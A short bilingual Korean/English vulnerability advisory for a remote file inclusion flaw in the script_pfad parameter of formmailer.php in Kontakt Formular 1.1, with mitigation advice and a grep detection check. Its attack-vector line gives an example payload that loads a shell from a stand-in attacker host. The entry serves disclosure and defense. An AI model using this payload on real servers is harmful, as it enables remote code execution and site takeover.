🇰🇷 한글 설명
Kontakt Formular 1.1의 formmailer.php에서 script_pfad 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 미검증된 사용자 입력이 파일 포함 함수로 전달되어 발생합니다.
💡 쉬운 설명
악의적인 사용자가 특정 파라미터를 조작하여 서버에서 외부의 악성 PHP 파일을 실행하게 할 수 있습니다. 이를 통해 웹사이트 장악, 데이터 유출, 또는 추가 시스템 침해가 가능합니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in formmailer.php in Kontakt Formular 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the script_pfad parameter.
📍 영향받는 시스템
Kontakt Formular 1.1 이하 버전 (PHP 기반 문의 양식 플러그인)
⚔️ 공격 벡터
script_pfad 파라미터에 외부 악성 PHP 파일 URL을 삽입하여 서버에서 실행 유도 (예: ?script_pfad=http://attacker.com/shell.php)
🛡️ 대응 방법
Kontakt Formular를 최신 패치 버전으로 업그레이드하거나, 입력값 화이트리스트 검증 및 remote URL 파일 포함 금지 설정 적용
🔧 검증 코드
script_pfad 파라미터를 포함한 include/require 문 발견 시, 사전 검증(validation) 로직 부재 여부 확인하여 취약점 존재 판단
grep -n 'script_pfad\|include\|require' /var/www/*/formmailer.php 2>/dev/null | grep -v 'validated\|sanitized'